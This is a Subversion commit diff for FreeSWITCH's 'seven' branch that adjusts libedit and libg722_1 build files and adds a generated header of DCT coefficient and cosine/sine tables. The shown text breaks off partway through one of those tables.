+ADD_LIBRARY(libedit STATIC ${libedit_SRCS})
+
+
+
+
+
+
+

Copied: freeswitch/branches/seven/libs/libedit/src/CMakeLists.txt (from rev 14471, freeswitch/trunk/libs/libedit/src/CMakeLists.txt) (0 => 14472)


--- freeswitch/branches/seven/libs/libedit/src/CMakeLists.txt	                        (rev 0)
+++ freeswitch/branches/seven/libs/libedit/src/CMakeLists.txt	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,25 @@
+cmake_minimum_required(VERSION 2.6)
+
+INCLUDE_DIRECTORIES(../include/ ./ ) 
+
+SET ( libedit_SRCS 
+
+chared.c common.c el.c emacs.c hist.c key.c map.c parse.c 
+prompt.c read.c refresh.c search.c sig.c term.c tty.c vi.c 
+                                                        fgetln.c strlcat.c strlcpy.c unvis.c vis.c tokenizer.c 
+                                                        history.c filecomplete.c readline.c chared.h el.h hist.h 
+                                                        histedit.h key.h map.h parse.h prompt.h read.h refresh.h 
+                                                        search.h sig.h sys.h el_term.h tty.h vis.h filecomplete.h 
+                                                        editline/readline.h
+
+)
+
+
+ADD_LIBRARY(libedit STATIC ${libedit_SRCS})
+
+
+
+
+
+
+

Property changes: freeswitch/branches/seven/libs/libg722_1


Name: svn:ignore
   + config.log
config.status
g722_1.spec
libtool
Makefile
autom4te.cache
configure
Makefile.in
config-h.in
aclocal.m4

Modified: freeswitch/branches/seven/libs/libg722_1/.update (14471 => 14472)


--- freeswitch/branches/seven/libs/libg722_1/.update	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libg722_1/.update	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1 +1 @@
-Wed Dec 10 12:08:07 CST 2008
+Mon Jun  8 12:13:41 EDT 2009

Deleted: freeswitch/branches/seven/libs/libg722_1/Makefile.in

Deleted: freeswitch/branches/seven/libs/libg722_1/aclocal.m4

Property changes: freeswitch/branches/seven/libs/libg722_1/config


Name: svn:ignore
   + config.guess
config.sub
ltmain.sh
install-sh

Deleted: freeswitch/branches/seven/libs/libg722_1/config/config.guess

Deleted: freeswitch/branches/seven/libs/libg722_1/config/config.sub

Deleted: freeswitch/branches/seven/libs/libg722_1/config/install-sh

Deleted: freeswitch/branches/seven/libs/libg722_1/config/ltmain.sh

Deleted: freeswitch/branches/seven/libs/libg722_1/config-h.in

Deleted: freeswitch/branches/seven/libs/libg722_1/configure

Modified: freeswitch/branches/seven/libs/libg722_1/configure.ac (14471 => 14472)


--- freeswitch/branches/seven/libs/libg722_1/configure.ac	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libg722_1/configure.ac	2009-08-09 18:53:22 UTC (rev 14472)
@@ -289,14 +289,20 @@
 if test "$enable_fixed_point" = "yes" ; then
     AC_DEFINE([G722_1_USE_FIXED_POINT], [1], [Enable fixed point processing, where possible, instead of floating point])
     G722_1_USE_FIXED_POINT="#define G722_1_USE_FIXED_POINT 1"
+    fixed = "yes"
     G722_1_VECTORS_FOR_TESTS="fixed"
 else
     AX_FIXED_POINT_MACHINE([$host],
-        [AC_DEFINE([G722_1_USE_FIXED_POINT], [1], [Enable fixed point processing, where possible, instead of floating point])
-        G722_1_USE_FIXED_POINT="#define G722_1_USE_FIXED_POINT 1"],
+        [
+	AC_DEFINE([G722_1_USE_FIXED_POINT], [1], [Enable fixed point processing, where possible, instead of floating point])
+        G722_1_USE_FIXED_POINT="#define G722_1_USE_FIXED_POINT 1"
+	fixed = "yes"
+	],
         [G722_1_USE_FIXED_POINT="#undef G722_1_USE_FIXED_POINT"])
     G722_1_VECTORS_FOR_TESTS="floating"
 fi
+AM_CONDITIONAL([COND_FIXED], [test "$fixed" = "yes"])
+
 AX_MISALIGNED_ACCESS_FAILS([$host],
     [AC_DEFINE([G722_1_MISALIGNED_ACCESS_FAILS], [1], [Do not expect a misaligned memory access to work correctly])
     G722_1_MISALIGNED_ACCESS_FAILS="#define G722_1_MISALIGNED_ACCESS_FAILS 1"],

Property changes: freeswitch/branches/seven/libs/libg722_1/doc


Name: svn:ignore
   + Makefile
Makefile.in

Deleted: freeswitch/branches/seven/libs/libg722_1/doc/Makefile.in

Property changes: freeswitch/branches/seven/libs/libg722_1/src


Name: svn:ignore
   + config.h
.deps
Makefile
dct4.h
make_tables
make_dct4_tables
g722_1.h
stamp-h1
.libs
Makefile.in

Modified: freeswitch/branches/seven/libs/libg722_1/src/Makefile.am (14471 => 14472)


--- freeswitch/branches/seven/libs/libg722_1/src/Makefile.am	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libg722_1/src/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -42,8 +42,7 @@
 
 lib_LTLIBRARIES = libg722_1.la
 
-libg722_1_la_SOURCES = basop32.c \
-                       bitstream.c \
+libg722_1_la_SOURCES = bitstream.c \
                        coef2sam.c \
                        common.c \
                        commonf.c \
@@ -58,6 +57,9 @@
                        sam2coef.c \
                        tables.c
 
+if COND_FIXED
+libg722_1_la_SOURCES += basop32.c
+endif
 libg722_1_la_LDFLAGS = -version-info @G722_1_LT_CURRENT@:@G722_1_LT_REVISION@:@G722_1_LT_AGE@ $(COMP_VENDOR_LDFLAGS)
 
 nobase_include_HEADERS = g722_1/g722_1.h \

Deleted: freeswitch/branches/seven/libs/libg722_1/src/Makefile.in

Copied: freeswitch/branches/seven/libs/libg722_1/src/generated (from rev 14471, freeswitch/trunk/libs/libg722_1/src/generated)

Deleted: freeswitch/branches/seven/libs/libg722_1/src/generated/dct4.h

Copied: freeswitch/branches/seven/libs/libg722_1/src/generated/dct4.h (from rev 14471, freeswitch/trunk/libs/libg722_1/src/generated/dct4.h) (0 => 14472)


--- freeswitch/branches/seven/libs/libg722_1/src/generated/dct4.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/libg722_1/src/generated/dct4.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,1515 @@
+static const float max_dct_core_a[] =
+{
+     5.572937315437795e-02f,
+     5.435713103213160e-02f,
+     5.164643594289910e-02f,
+     4.766403419605858e-02f,
+     4.250798573945089e-02f,
+     3.630524959802148e-02f,
+     2.920855772127337e-02f,
+     2.139265421578210e-02f,
+     1.304999256534943e-02f,
+     4.385996787515619e-03f,
+     5.435713103213160e-02f,
+     4.250798573945089e-02f,
+     2.139265421578210e-02f,
+    -4.385996787515612e-03f,
+    -2.920855772127336e-02f,
+    -4.766403419605858e-02f,
+    -5.572937315437795e-02f,
+    -5.164643594289911e-02f,
+    -3.630524959802151e-02f,
+    -1.304999256534941e-02f,
+     5.164643594289910e-02f,
+     2.139265421578210e-02f,
+    -2.139265421578209e-02f,
+    -5.164643594289910e-02f,
+    -5.164643594289911e-02f,
+    -2.139265421578213e-02f,
+     2.139265421578211e-02f,
+     5.164643594289909e-02f,
+     5.164643594289910e-02f,
+     2.139265421578213e-02f,
+     4.766403419605858e-02f,
+    -4.385996787515612e-03f,
+    -5.164643594289910e-02f,
+    -4.250798573945090e-02f,
+     1.304999256534939e-02f,
+     5.435713103213161e-02f,
+     3.630524959802152e-02f,
+    -2.139265421578210e-02f,
+    -5.572937315437795e-02f,
+    -2.920855772127336e-02f,
+     4.250798573945089e-02f,
+    -2.920855772127336e-02f,
+    -5.164643594289911e-02f,
+     1.304999256534939e-02f,
+     5.572937315437795e-02f,
+     4.385996787515657e-03f,
+    -5.435713103213161e-02f,
+    -2.139265421578214e-02f,
+     4.766403419605858e-02f,
+     3.630524959802153e-02f,
+     3.630524959802148e-02f,
+    -4.766403419605858e-02f,
+    -2.139265421578213e-02f,
+     5.435713103213161e-02f,
+     4.385996787515657e-03f,
+    -5.572937315437795e-02f,
+     1.304999256534937e-02f,
+     5.164643594289910e-02f,
+    -2.920855772127332e-02f,
+    -4.250798573945090e-02f,
+     2.920855772127337e-02f,
+    -5.572937315437795e-02f,
+     2.139265421578211e-02f,
+     3.630524959802152e-02f,
+    -5.435713103213161e-02f,
+     1.304999256534937e-02f,
+     4.250798573945089e-02f,
+    -5.164643594289908e-02f,
+     4.385996787515504e-03f,
+     4.766403419605861e-02f,
+     2.139265421578210e-02f,
+    -5.164643594289911e-02f,
+     5.164643594289909e-02f,
+    -2.139265421578210e-02f,
+    -2.139265421578214e-02f,
+     5.164643594289910e-02f,
+    -5.164643594289908e-02f,
+     2.139265421578208e-02f,
+     2.139265421578216e-02f,
+    -5.164643594289915e-02f,
+     1.304999256534943e-02f,
+    -3.630524959802151e-02f,
+     5.164643594289910e-02f,
+    -5.572937315437795e-02f,
+     4.766403419605858e-02f,
+    -2.920855772127332e-02f,
+     4.385996787515504e-03f,
+     2.139265421578216e-02f,
+    -4.250798573945092e-02f,
+     5.435713103213160e-02f,
+     4.385996787515619e-03f,
+    -1.304999256534941e-02f,
+     2.139265421578213e-02f,
+    -2.920855772127336e-02f,
+     3.630524959802153e-02f,
+    -4.250798573945090e-02f,
+     4.766403419605861e-02f,
+    -5.164643594289915e-02f,
+     5.435713103213160e-02f,
+    -5.572937315437796e-02f
+};
+
+static const float dct_core_a[] =
+{
+     7.881323533747238e-02f,
+     7.687259191733195e-02f,
+     7.303909015868119e-02f,
+     6.740712359748102e-02f,
+     6.011536994189358e-02f,
+     5.134337636686234e-02f,
+     4.130713846678219e-02f,
+     3.025378172711701e-02f,
+     1.845547647478522e-02f,
+     6.202736141429415e-03f,
+     7.687259191733195e-02f,
+     6.011536994189358e-02f,
+     3.025378172711701e-02f,
+    -6.202736141429404e-03f,
+    -4.130713846678218e-02f,
+    -6.740712359748102e-02f,
+    -7.881323533747238e-02f,
+    -7.303909015868121e-02f,
+    -5.134337636686238e-02f,
+    -1.845547647478519e-02f,
+     7.303909015868119e-02f,
+     3.025378172711701e-02f,
+    -3.025378172711701e-02f,
+    -7.303909015868119e-02f,
+    -7.303909015868121e-02f,
+    -3.025378172711705e-02f,
+     3.025378172711703e-02f,
+     7.303909015868118e-02f,
+     7.303909015868119e-02f,
+     3.025378172711706e-02f,
+     6.740712359748102e-02f,
+    -6.202736141429404e-03f,
+    -7.303909015868119e-02f,
+    -6.011536994189359e-02f,
+     1.845547647478516e-02f,
+     7.687259191733196e-02f,
+     5.134337636686239e-02f,
+    -3.025378172711702e-02f,
+    -7.881323533747238e-02f,
+    -4.130713846678218e-02f,
+     6.011536994189358e-02f,
+    -4.130713846678218e-02f,
+    -7.303909015868121e-02f,
+     1.845547647478516e-02f,
+     7.881323533747238e-02f,
+     6.202736141429469e-03f,
+    -7.687259191733196e-02f,
+    -3.025378172711707e-02f,
+     6.740712359748102e-02f,
+     5.134337636686240e-02f,
+     5.134337636686234e-02f,
+    -6.740712359748102e-02f,
+    -3.025378172711705e-02f,
+     7.687259191733196e-02f,
+     6.202736141429469e-03f,
+    -7.881323533747238e-02f,
+     1.845547647478515e-02f,
+     7.303909015868119e-02f,
+    -4.130713846678212e-02f,
+    -6.011536994189359e-02f,
+     4.130713846678219e-02f,
+    -7.881323533747238e-02f,
+     3.025378172711703e-02f,
+     5.134337636686239e-02f,
+    -7.687259191733196e-02f,
+     1.845547647478515e-02f,
+     6.011536994189358e-02f,
+    -7.303909015868118e-02f,
+     6.202736141429252e-03f,
+     6.740712359748108e-02f,
+     3.025378172711701e-02f,
+    -7.303909015868121e-02f,
+     7.303909015868118e-02f,
+    -3.025378172711702e-02f,
+    -3.025378172711707e-02f,
+     7.303909015868119e-02f,
+    -7.303909015868118e-02f,
+     3.025378172711699e-02f,
+     3.025378172711710e-02f,
+    -7.303909015868128e-02f,
+     1.845547647478522e-02f,
+    -5.134337636686238e-02f,
+     7.303909015868119e-02f,
+    -7.881323533747238e-02f,
+     6.740712359748102e-02f,
+    -4.130713846678212e-02f,
+     6.202736141429252e-03f,
+     3.025378172711710e-02f,
+    -6.011536994189360e-02f,
+     7.687259191733195e-02f,
+     6.202736141429415e-03f,
+    -1.845547647478519e-02f,
+     3.025378172711706e-02f,
+    -4.130713846678218e-02f,
+     5.134337636686240e-02f,
+    -6.011536994189359e-02f,
+     6.740712359748108e-02f,
+    -7.303909015868128e-02f,
+     7.687259191733195e-02f,
+    -7.881323533747239e-02f
+};
+
+static const cos_msin_t cos_msin_5[5] =
+{
+    {9.969173337331280e-01f, -7.845909572784494e-02f},
+    {9.723699203976766e-01f, -2.334453638559054e-01f},
+    {9.238795325112867e-01f, -3.826834323650898e-01f},
+    {8.526401643540922e-01f, -5.224985647159488e-01f},
+    {7.604059656000309e-01f, -6.494480483301837e-01f}
+};
+
+static const cos_msin_t cos_msin_10[10] =
+{
+    {9.992290362407229e-01f, -3.925981575906861e-02f},
+    {9.930684569549263e-01f, -1.175373974578376e-01f},
+    {9.807852804032304e-01f, -1.950903220161282e-01f},
+    {9.624552364536473e-01f, -2.714404498650743e-01f},
+    {9.381913359224842e-01f, -3.461170570774930e-01f},
+    {9.081431738250813e-01f, -4.186597375374281e-01f},
+    {8.724960070727972e-01f, -4.886212414969549e-01f},
+    {8.314696123025452e-01f, -5.555702330196022e-01f},
+    {7.853169308807449e-01f, -6.190939493098340e-01f},
+    {7.343225094356856e-01f, -6.788007455329417e-01f}
+};
+
+static const cos_msin_t cos_msin_20[20] =
+{
+    {9.998072404820648e-01f, -1.963369246062830e-02f},
+    {9.982656101847159e-01f, -5.887080365118903e-02f},
+    {9.951847266721969e-01f, -9.801714032956060e-02f},
+    {9.905693404435773e-01f, -1.370123416819680e-01f},
+    {9.844265680898916e-01f, -1.757962799343545e-01f},
+    {9.767658813208724e-01f, -2.143091530650507e-01f},
+    {9.675990923602598e-01f, -2.524915770151580e-01f},
+    {9.569403357322088e-01f, -2.902846772544623e-01f},
+    {9.448060464668780e-01f, -3.276301795616935e-01f},
+    {9.312149347588036e-01f, -3.644704998791496e-01f},
+    {9.161879571171360e-01f, -4.007488331031410e-01f},
+    {8.997482840522215e-01f, -4.364092406733421e-01f},
+    {8.819212643483550e-01f, -4.713967368259976e-01f},
+    {8.627343859777918e-01f, -5.056573733779846e-01f},
+    {8.422172337162865e-01f, -5.391383229110002e-01f},
+    {8.204014435255136e-01f, -5.717879602276122e-01f},
+    {7.973206537727071e-01f, -6.035559419535714e-01f},
+    {7.730104533627370e-01f, -6.343932841636455e-01f},
+    {7.475083268625968e-01f, -6.642524379112817e-01f},
+    {7.208535967029188e-01f, -6.930873625456359e-01f}
+};
+
+static const cos_msin_t cos_msin_40[40] =
+{
+    {9.999518089593280e-01f, -9.817319337149617e-03f},
+    {9.995663085020212e-01f, -2.944817324796316e-02f},
+    {9.987954562051724e-01f, -4.906767432741801e-02f},
+    {9.976395492470157e-01f, -6.866825888437376e-02f},
+    {9.960990332516871e-01f, -8.824237052036951e-02f},
+    {9.941745021174282e-01f, -1.077824630427593e-01f},
+    {9.918666977876260e-01f, -1.272810033739132e-01f},
+    {9.891765099647810e-01f, -1.467304744553617e-01f},
+    {9.861049757675088e-01f, -1.661233781457655e-01f},
+    {9.826532793307118e-01f, -1.854522381115909e-01f},
+    {9.788227513490724e-01f, -2.047096027093796e-01f},
+    {9.746148685640450e-01f, -2.238880478584984e-01f},
+    {9.700312531945440e-01f, -2.429801799032639e-01f},
+    {9.650736723115474e-01f, -2.619786384633375e-01f},
+    {9.597440371568574e-01f, -2.808760992712921e-01f},
+    {9.540444024062804e-01f, -2.996652769962566e-01f},
+    {9.479769653775104e-01f, -3.183389280525497e-01f},
+    {9.415440651830208e-01f, -3.368898533922201e-01f},
+    {9.347481818282924e-01f, -3.553109012804161e-01f},
+    {9.275919352557240e-01f, -3.735949700525164e-01f},
+    {9.200780843345949e-01f, -3.917350108519559e-01f},
+    {9.122095257974677e-01f, -4.097240303476953e-01f},
+    {9.039892931234433e-01f, -4.275550934302821e-01f},
+    {8.954205553686970e-01f, -4.452213258854682e-01f},
+    {8.865066159447464e-01f, -4.627159170443501e-01f},
+    {8.772509113449243e-01f, -4.800321224090111e-01f},
+    {8.676570098195440e-01f, -4.971632662526544e-01f},
+    {8.577286100002721e-01f, -5.141027441932217e-01f},
+    {8.474695394742344e-01f, -5.308440257395095e-01f},
+    {8.368837533084094e-01f, -5.473806568087964e-01f},
+    {8.259753325248732e-01f, -5.637062622150167e-01f},
+    {8.147484825274894e-01f, -5.798145481265136e-01f},
+    {8.032075314806449e-01f, -5.956993044924334e-01f},
+    {7.913569286406602e-01f, -6.113544074368165e-01f},
+    {7.792012426405167e-01f, -6.267738216194696e-01f},
+    {7.667451597285615e-01f, -6.419516025627030e-01f},
+    {7.539934819618694e-01f, -6.568818989430414e-01f},
+    {7.409511253549591e-01f, -6.715589548470183e-01f},
+    {7.276231179845748e-01f, -6.859771119901928e-01f},
+    {7.140145980512683e-01f, -7.001308118985236e-01f}
+};
+
+static const cos_msin_t cos_msin_80[80] =
+{
+    {9.999879521672569e-01f, -4.908718807997990e-03f},
+    {9.998915712471080e-01f, -1.472568331145852e-02f},
+    {9.996988186962042e-01f, -2.454122852291229e-02f},
+    {9.994097130924373e-01f, -3.435440839968228e-02f},
+    {9.990242823004072e-01f, -4.416427712706736e-02f},
+    {9.985425634687357e-01f, -5.396988920950188e-02f},
+    {9.979646030264866e-01f, -6.377029956168449e-02f},
+    {9.972904566786902e-01f, -7.356456359966743e-02f},
+    {9.965201894009746e-01f, -8.335173733189745e-02f},
+    {9.956538754333033e-01f, -9.313087745019979e-02f},
+    {9.946915982728195e-01f, -1.029010414206961e-01f},
+    {9.936334506657989e-01f, -1.126612875746478e-01f},
+    {9.924795345987100e-01f, -1.224106751992162e-01f},
+    {9.912299612883853e-01f, -1.321482646281301e-01f},
+    {9.898848511713010e-01f, -1.418731173322532e-01f},
+    {9.884443338919700e-01f, -1.515842960100411e-01f},
+    {9.869085482904458e-01f, -1.612808646778805e-01f},
+    {9.852776423889412e-01f, -1.709618887603012e-01f},
+    {9.835517733775615e-01f, -1.806264351800528e-01f},
+    {9.817311075991542e-01f, -1.902735724480359e-01f},
+    {9.798158205332763e-01f, -1.999023707530817e-01f},
+    {9.778060967792817e-01f, -2.095119020515688e-01f},
+    {9.757021300385286e-01f, -2.191012401568698e-01f},
+    {9.735041230957107e-01f, -2.286694608286194e-01f},
+    {9.712122877993118e-01f, -2.382156418617946e-01f},
+    {9.688268450411880e-01f, -2.477388631755984e-01f},
+    {9.663480247352773e-01f, -2.572382069021397e-01f},
+    {9.637760657954398e-01f, -2.667127574748984e-01f},
+    {9.611112161124317e-01f, -2.761616017169707e-01f},
+    {9.583537325300114e-01f, -2.855838289290823e-01f},
+    {9.555038808201862e-01f, -2.949785309773635e-01f},
+    {9.525619356575953e-01f, -3.043448023808773e-01f},
+    {9.495281805930367e-01f, -3.136817403988915e-01f},
+    {9.464029080261377e-01f, -3.229884451178863e-01f},
+    {9.431864191771733e-01f, -3.322640195382908e-01f},
+    {9.398790240580331e-01f, -3.415075696609363e-01f},
+    {9.364810414423427e-01f, -3.507182045732232e-01f},
+    {9.329927988347390e-01f, -3.598950365349881e-01f},
+    {9.294146324393044e-01f, -3.690371810640665e-01f},
+    {9.257468871271640e-01f, -3.781437570215405e-01f},
+    {9.219899164032445e-01f, -3.872138866966656e-01f},
+    {9.181440823722039e-01f, -3.962466958914656e-01f},
+    {9.142097557035307e-01f, -4.052413140049899e-01f},
+    {9.101873155958178e-01f, -4.141968741172237e-01f},
+    {9.060771497402148e-01f, -4.231125130726441e-01f},
+    {9.018796542830616e-01f, -4.319873715634118e-01f},
+    {8.975952337877069e-01f, -4.408205942121939e-01f},
+    {8.932243011955153e-01f, -4.496113296546065e-01f},
+    {8.887672777860675e-01f, -4.583587306212713e-01f},
+    {8.842245931365562e-01f, -4.670619540194765e-01f},
+    {8.795966850803829e-01f, -4.757201610144369e-01f},
+    {8.748839996649583e-01f, -4.843325171101412e-01f},
+    {8.700869911087115e-01f, -4.928981922297840e-01f},
+    {8.652061217573113e-01f, -5.014163607957690e-01f},
+    {8.602418620391045e-01f, -5.098862018092806e-01f},
+    {8.551946904197751e-01f, -5.183068989294132e-01f},
+    {8.500650933562288e-01f, -5.266776405518521e-01f},
+    {8.448535652497071e-01f, -5.349976198870972e-01f},
+    {8.395606083981356e-01f, -5.432660350382236e-01f},
+    {8.341867329477124e-01f, -5.514820890781694e-01f},
+    {8.287324568437381e-01f, -5.596449901265460e-01f},
+    {8.231983057806959e-01f, -5.677539514259605e-01f},
+    {8.175848131515837e-01f, -5.758081914178453e-01f},
+    {8.118925199965048e-01f, -5.838069338177863e-01f},
+    {8.061219749505210e-01f, -5.917494076903429e-01f},
+    {8.002737341907743e-01f, -5.996348475233523e-01f},
+    {7.943483613828813e-01f, -6.074624933017110e-01f},
+    {7.883464276266063e-01f, -6.152315905806268e-01f},
+    {7.822685114008164e-01f, -6.229413905583340e-01f},
+    {7.761151985077279e-01f, -6.305911501482637e-01f},
+    {7.698870820164444e-01f, -6.381801320506653e-01f},
+    {7.635847622057965e-01f, -6.457076048236672e-01f},
+    {7.572088465064846e-01f, -6.531728429537768e-01f},
+    {7.507599494425343e-01f, -6.605751269258050e-01f},
+    {7.442386925720670e-01f, -6.679137432922161e-01f},
+    {7.376457044273930e-01f, -6.751879847418903e-01f},
+    {7.309816204544317e-01f, -6.823971501682968e-01f},
+    {7.242470829514670e-01f, -6.895405447370668e-01f},
+    {7.174427410072399e-01f, -6.966174799529642e-01f},
+    {7.105692504383896e-01f, -7.036272737262429e-01f}
+};
+
+static const cos_msin_t cos_msin_160[160] =
+{
+    {9.999969880372782e-01f, -2.454366796460292e-03f},
+    {9.999728924443673e-01f, -7.363041249779567e-03f},
+    {9.999247018391445e-01f, -1.227153828571993e-02f},
+    {9.998524173827948e-01f, -1.717973963077875e-02f},
+    {9.997560408170603e-01f, -2.208752701857829e-02f},
+    {9.996355744641984e-01f, -2.699478219271537e-02f},
+    {9.994910212269259e-01f, -3.190138690961086e-02f},
+    {9.993223845883495e-01f, -3.680722294135883e-02f},
+    {9.991296686118811e-01f, -4.171217207857533e-02f},
+    {9.989128779411404e-01f, -4.661611613324671e-02f},
+    {9.986720177998429e-01f, -5.151893694157748e-02f},
+    {9.984070939916740e-01f, -5.642051636683749e-02f},
+    {9.981181129001492e-01f, -6.132073630220858e-02f},
+    {9.978050814884601e-01f, -6.621947867363034e-02f},
+    {9.974680072993071e-01f, -7.111662544264533e-02f},
+    {9.971068984547168e-01f, -7.601205860924312e-02f},
+    {9.967217636558474e-01f, -8.090566021470375e-02f},
+    {9.963126121827780e-01f, -8.579731234443989e-02f},
+    {9.958794538942858e-01f, -9.068689713083816e-02f},
+    {9.954222992276077e-01f, -9.557429675609919e-02f},
+    {9.949411591981900e-01f, -1.004593934550765e-01f},
+    {9.944360453994218e-01f, -1.053420695181141e-01f},
+    {9.939069700023561e-01f, -1.102222072938831e-01f},
+    {9.933539457554167e-01f, -1.150996891922159e-01f},
+    {9.927769859840909e-01f, -1.199743976869403e-01f},
+    {9.921761045906085e-01f, -1.248462153187112e-01f},
+    {9.915513160536062e-01f, -1.297150246978405e-01f},
+    {9.909026354277800e-01f, -1.345807085071262e-01f},
+    {9.902300783435211e-01f, -1.394431495046788e-01f},
+    {9.895336610065398e-01f, -1.443022305267465e-01f},
+    {9.888134001974757e-01f, -1.491578344905386e-01f},
+    {9.880693132714919e-01f, -1.540098443970461e-01f},
+    {9.873014181578584e-01f, -1.588581433338614e-01f},
+    {9.865097333595187e-01f, -1.637026144779952e-01f},
+    {9.856942779526452e-01f, -1.685431410986913e-01f},
+    {9.848550715861784e-01f, -1.733796065602395e-01f},
+    {9.839921344813541e-01f, -1.782118943247859e-01f},
+    {9.831054874312163e-01f, -1.830398879551410e-01f},
+    {9.821951518001156e-01f, -1.878634711175852e-01f},
+    {9.812611495231950e-01f, -1.926825275846723e-01f},
+    {9.803035031058607e-01f, -1.974969412380297e-01f},
+    {9.793222356232406e-01f, -2.023065960711564e-01f},
+    {9.783173707196277e-01f, -2.071113761922186e-01f},
+    {9.772889326079104e-01f, -2.119111658268416e-01f},
+    {9.762369460689896e-01f, -2.167058493209000e-01f},
+    {9.751614364511810e-01f, -2.214953111433043e-01f},
+    {9.740624296696047e-01f, -2.262794358887845e-01f},
+    {9.729399522055602e-01f, -2.310581082806711e-01f},
+    {9.717940311058891e-01f, -2.358312131736727e-01f},
+    {9.706246939823230e-01f, -2.405986355566504e-01f},
+    {9.694319690108180e-01f, -2.453602605553894e-01f},
+    {9.682158849308760e-01f, -2.501159734353663e-01f},
+    {9.669764710448521e-01f, -2.548656596045146e-01f},
+    {9.657137572172489e-01f, -2.596092046159851e-01f},
+    {9.644277738739964e-01f, -2.643464941709040e-01f},
+    {9.631185520017188e-01f, -2.690774141211269e-01f},
+    {9.617861231469886e-01f, -2.738018504719892e-01f},
+    {9.604305194155658e-01f, -2.785196893850531e-01f},
+    {9.590517734716243e-01f, -2.832308171808502e-01f},
+    {9.576499185369652e-01f, -2.879351203416211e-01f},
+    {9.562249883902162e-01f, -2.926324855140505e-01f},
+    {9.547770173660172e-01f, -2.973227995119985e-01f},
+    {9.533060403541939e-01f, -3.020059493192281e-01f},
+    {9.518120927989161e-01f, -3.066818220921279e-01f},
+    {9.502952106978444e-01f, -3.113503051624320e-01f},
+    {9.487554306012626e-01f, -3.160112860399338e-01f},
+    {9.471927896111967e-01f, -3.206646524151973e-01f},
+    {9.456073253805213e-01f, -3.253102921622629e-01f},
+    {9.439990761120522e-01f, -3.299480933413494e-01f},
+    {9.423680805576258e-01f, -3.345779442015508e-01f},
+    {9.407143780171653e-01f, -3.391997331835298e-01f},
+    {9.390380083377340e-01f, -3.438133489222048e-01f},
+    {9.373390119125750e-01f, -3.484186802494346e-01f},
+    {9.356174296801376e-01f, -3.530156161966958e-01f},
+    {9.338733031230915e-01f, -3.576040459977578e-01f},
+    {9.321066742673269e-01f, -3.621838590913509e-01f},
+    {9.303175856809415e-01f, -3.667549451238308e-01f},
+    {9.285060804732156e-01f, -3.713171939518375e-01f},
+    {9.266722022935726e-01f, -3.758704956449495e-01f},
+    {9.248159953305278e-01f, -3.804147404883323e-01f},
+    {9.229375043106232e-01f, -3.849498189853822e-01f},
+    {9.210367744973499e-01f, -3.894756218603648e-01f},
+    {9.191138516900578e-01f, -3.939920400610481e-01f},
+    {9.171687822228516e-01f, -3.984989647613298e-01f},
+    {9.152016129634744e-01f, -4.029962873638600e-01f},
+    {9.132123913121788e-01f, -4.074838995026576e-01f},
+    {9.112011652005843e-01f, -4.119616930457218e-01f},
+    {9.091679830905224e-01f, -4.164295600976372e-01f},
+    {9.071128939728691e-01f, -4.208873930021739e-01f},
+    {9.050359473663644e-01f, -4.253350843448814e-01f},
+    {9.029371933164189e-01f, -4.297725269556770e-01f},
+    {9.008166823939081e-01f, -4.341996139114278e-01f},
+    {8.986744656939538e-01f, -4.386162385385277e-01f},
+    {8.965105948346932e-01f, -4.430222944154668e-01f},
+    {8.943251219560346e-01f, -4.474176753753967e-01f},
+    {8.921180997184014e-01f, -4.518022755086881e-01f},
+    {8.898895813014630e-01f, -4.561759891654830e-01f},
+    {8.876396204028539e-01f, -4.605387109582400e-01f},
+    {8.853682712368793e-01f, -4.648903357642744e-01f},
+    {8.830755885332088e-01f, -4.692307587282903e-01f},
+    {8.807616275355579e-01f, -4.735598752649081e-01f},
+    {8.784264440003567e-01f, -4.778775810611837e-01f},
+    {8.760700941954066e-01f, -4.821837720791227e-01f},
+    {8.736926348985243e-01f, -4.864783445581868e-01f},
+    {8.712941233961736e-01f, -4.907611950177941e-01f},
+    {8.688746174820854e-01f, -4.950322202598127e-01f},
+    {8.664341754558650e-01f, -4.992913173710469e-01f},
+    {8.639728561215868e-01f, -5.035383837257176e-01f},
+    {8.614907187863783e-01f, -5.077733169879345e-01f},
+    {8.589878232589904e-01f, -5.119960151141624e-01f},
+    {8.564642298483565e-01f, -5.162063763556797e-01f},
+    {8.539199993621391e-01f, -5.204042992610306e-01f},
+    {8.513551931052652e-01f, -5.245896826784689e-01f},
+    {8.487698728784481e-01f, -5.287624257583958e-01f},
+    {8.461641009766995e-01f, -5.329224279557898e-01f},
+    {8.435379401878270e-01f, -5.370695890326298e-01f},
+    {8.408914537909229e-01f, -5.412038090603096e-01f},
+    {8.382247055548381e-01f, -5.453249884220465e-01f},
+    {8.355377597366458e-01f, -5.494330278152808e-01f},
+    {8.328306810800937e-01f, -5.535278282540700e-01f},
+    {8.301035348140438e-01f, -5.576092910714722e-01f},
+    {8.273563866508998e-01f, -5.616773179219247e-01f},
+    {8.245893027850253e-01f, -5.657318107836131e-01f},
+    {8.218023498911473e-01f, -5.697726719608341e-01f},
+    {8.189955951227504e-01f, -5.737998040863485e-01f},
+    {8.161691061104588e-01f, -5.778131101237274e-01f},
+    {8.133229509604062e-01f, -5.818124933696910e-01f},
+    {8.104571982525948e-01f, -5.857978574564389e-01f},
+    {8.075719170392435e-01f, -5.897691063539708e-01f},
+    {8.046671768431229e-01f, -5.937261443724019e-01f},
+    {8.017430476558816e-01f, -5.976688761642677e-01f},
+    {7.987995999363579e-01f, -6.015972067268220e-01f},
+    {7.958369046088836e-01f, -6.055110414043255e-01f},
+    {7.928550330615741e-01f, -6.094102858903271e-01f},
+    {7.898540571446090e-01f, -6.132948462299359e-01f},
+    {7.868340491684999e-01f, -6.171646288220856e-01f},
+    {7.837950819023488e-01f, -6.210195404217892e-01f},
+    {7.807372285720945e-01f, -6.248594881423863e-01f},
+    {7.776605628587479e-01f, -6.286843794577813e-01f},
+    {7.745651588966166e-01f, -6.324941222046724e-01f},
+    {7.714510912715192e-01f, -6.362886245847729e-01f},
+    {7.683184350189877e-01f, -6.400677951670226e-01f},
+    {7.651672656224590e-01f, -6.438315428897914e-01f},
+    {7.619976590114568e-01f, -6.475797770630733e-01f},
